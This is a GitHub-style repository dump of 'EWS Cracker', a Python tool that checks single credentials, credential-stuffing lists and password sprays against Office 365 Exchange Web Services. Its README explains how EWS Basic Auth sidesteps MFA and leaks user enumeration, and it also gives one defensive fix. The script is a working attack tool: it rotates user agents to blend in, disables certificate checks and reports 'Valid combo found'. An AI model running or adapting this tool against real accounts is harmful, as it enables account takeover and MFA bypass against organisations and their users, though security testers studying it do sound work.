├── .gitignore ├── README.md ├── ews-crack.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EWS Cracker 2 | ____| \ \ / ___| ___| | 3 | __| \ \ \ / \___ \ | __| _` | __| | / 4 | | \ \ \ / | | | ( | ( < 5 | _____| \_/\_/ _____/ \____| _| \__,_| \___| _|\_\ 6 | 7 | ## What's EWS? 8 | 9 | EWS stands for Exchange Web Services. This is a SOAP based protocol used for free/busy scheduling, and leveraged by third party clients. It allows a user to read email, send email, test credentials. 10 | 11 | Unfortunately, EWS only supports Basic Authentication. If you have multi-factor authentication through a third party provider, such as Ping, Duo or Okta, EWS can be used to bypass MFA. It can also be used to bypass MDM solutions. 12 | 13 | [This was documented by the fine folks at Black Hills InfoSec](https://www.blackhillsinfosec.com/bypassing-two-factor-authentication-on-owa-portals/) as well as [by Duo](https://duo.com/blog/on-vulnerabilities-disclosed-in-microsoft-exchange-web-services) over a year ago. 14 | 15 | Microsoft's official response is to use Microsoft provided MFA, which produce an application specific password. This leaves an enourmous amount of O365 customers in a difficult state. Most customers seem unaware of this issue or choose to ignore it. 16 | 17 | Other fun facts about EWS: 18 | 19 | * Logging is not 100%. It may log failed attempts in your audit logs, it may not. 20 | * It helpfully provides user enumeration. If a user doesn't exist, a different error is returned. 21 | 22 | ## Update as of July 2018 23 | 24 | [Microsoft now supports conditional access with legacy auth flows](https://docs.microsoft.com/en-us/azure/active-directory/active-directory-conditional-access-conditions#legacy-authentication) 25 | 26 | Turn on Modern Authentication: 27 | ``` 28 | Set-OrganizationConfig -OAuth2ClientProfileEnabled $true 29 | ``` 30 | 31 | This will break legacy clients, but it's a must. Make sure you watch out for POP3, ActiveSync, other methods of brute forcing your O365 environment. 32 | 33 | ## Installation 34 | 35 | You'll need the python and kerberos development libraries: 36 | 37 | For example, in a Debian-based distro 38 | ``` 39 | sudo apt-get install python-dev 40 | sudo apt-get install libkrb5-dev 41 | ``` 42 | 43 | Then install the requirements: 44 | 45 | ``` 46 | pip install -r requirements.txt 47 | ``` 48 | 49 | ## Single user test mode 50 | 51 | `ews-crack.py --mode single --username jsmith --domain contoso.com --password mypassword` 52 | 53 | ## Colon delimited username:password tester 54 | 55 | `ews-crack.py --mode creds --file user-passwords.txt --domain contoso.com` 56 | 57 | ## Spray a single password against a list of user accounts 58 | 59 | ` python ews-crack.py --mode spray --filename users.txt --domain contoso.com --password Winter2018!` 60 | -------------------------------------------------------------------------------- /ews-crack.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | Mike Siegel @ml_siegel 4 | -- 5 | MIT License 6 | 7 | Copyright (c) [year] [fullname] 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy 10 | of this software and associated documentation files (the "Software"), to deal 11 | in the Software without restriction, including without limitation the rights 12 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | copies of the Software, and to permit persons to whom the Software is 14 | furnished to do so, subject to the following conditions: 15 | 16 | The above copyright notice and this permission notice shall be included in all 17 | copies or substantial portions of the Software. 18 | 19 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 20 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 21 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 22 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 23 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 24 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 25 | SOFTWARE. 26 | 27 | """ 28 | 29 | 30 | import click 31 | from exchangelib import Account, Credentials, Configuration, DELEGATE 32 | from exchangelib.errors import UnauthorizedError, CASError 33 | import random 34 | # Comment this out to validate certs 35 | import urllib3 36 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 37 | from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter 38 | import requests.utils 39 | BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter 40 | 41 | 42 | def _new_user_agent(name=False): 43 | ua = ['Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', 44 | 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', 45 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0', 46 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36', 47 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' 48 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7'] 49 | return random.choice(ua) 50 | 51 | 52 | requests.utils.default_user_agent = _new_user_agent 53 | 54 | 55 | def ews_config_setup(user, password, domain): 56 | 57 | try: 58 | config = Configuration( 59 | server='outlook.office365.com', 60 | credentials=Credentials( 61 | username="{}@{}".format(user, domain), 62 | password=password)) 63 | 64 | account = Account( 65 | primary_smtp_address="{}@{}".format(user, domain), 66 | autodiscover=False, 67 | config=config, 68 | access_type=DELEGATE) 69 | 70 | except UnauthorizedError: 71 | print("Bad password") 72 | return None, None 73 | 74 | except CASError: 75 | print("CAS Error: User {} does not exist.".format(user)) 76 | return None, None 77 | 78 | return account, config 79 | 80 | 81 | def test_single_mode(domain, username, password): 82 | account, config = ews_config_setup(username, password, domain) 83 | if account is None and config is None: 84 | return False 85 | 86 | iter(account.inbox.all()) 87 | return True 88 | 89 | 90 | def multi_account_test(domain, filename): 91 | 92 | with open(filename) as credentials: 93 | for line in credentials: 94 | username, password = line.split(":") 95 | valid = test_single_mode(domain, username, password.rstrip('\r\n')) 96 | if valid: 97 | print("Valid combo found {}:{}".format(username, password.rstrip('\r\n'))) 98 | 99 | 100 | def spray_and_pray(domain, filename, password): 101 | with open(filename) as userlist: 102 | for user in userlist: 103 | valid = test_single_mode(domain, user.rstrip('\r\n'), password) 104 | if valid: 105 | print("Valid combo found {}:{}".format(user.rstrip('\r\n'), password)) 106 | 107 | 108 | @click.command() 109 | @click.option('--mode', type=click.Choice(['spray', 'single', 'creds'])) 110 | @click.option('--filename') 111 | @click.option('--domain') 112 | @click.option('--username') 113 | @click.option('--password') 114 | def main(mode, domain, username=None, password=None, filename=None): 115 | 116 | leetsauce = """ 117 | ____| \ \ / ___| ___| | 118 | __| \ \ \ / \___ \ | __| _` | __| | / 119 | | \ \ \ / | | | ( | ( < 120 | _____| \_/\_/ _____/ \____| _| \__,_| \___| _|\_\ 121 | """ 122 | 123 | banner = "=============================================================================" 124 | print(banner) 125 | print(leetsauce) 126 | print(banner) 127 | 128 | if mode == 'single': 129 | print("Single account mode selected") 130 | valid = test_single_mode(domain, username, password) 131 | print("Valid password" if valid else "Invalid password") 132 | 133 | if mode == 'creds': 134 | print("Credential file testing selected") 135 | multi_account_test(domain, filename) 136 | 137 | if mode == 'spray': 138 | print("Spray and pray mode") 139 | spray_and_pray(domain, filename, password) 140 | 141 | 142 | if __name__ == "__main__": 143 | main() 144 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | click 2 | exchangelib 3 | --------------------------------------------------------------------------------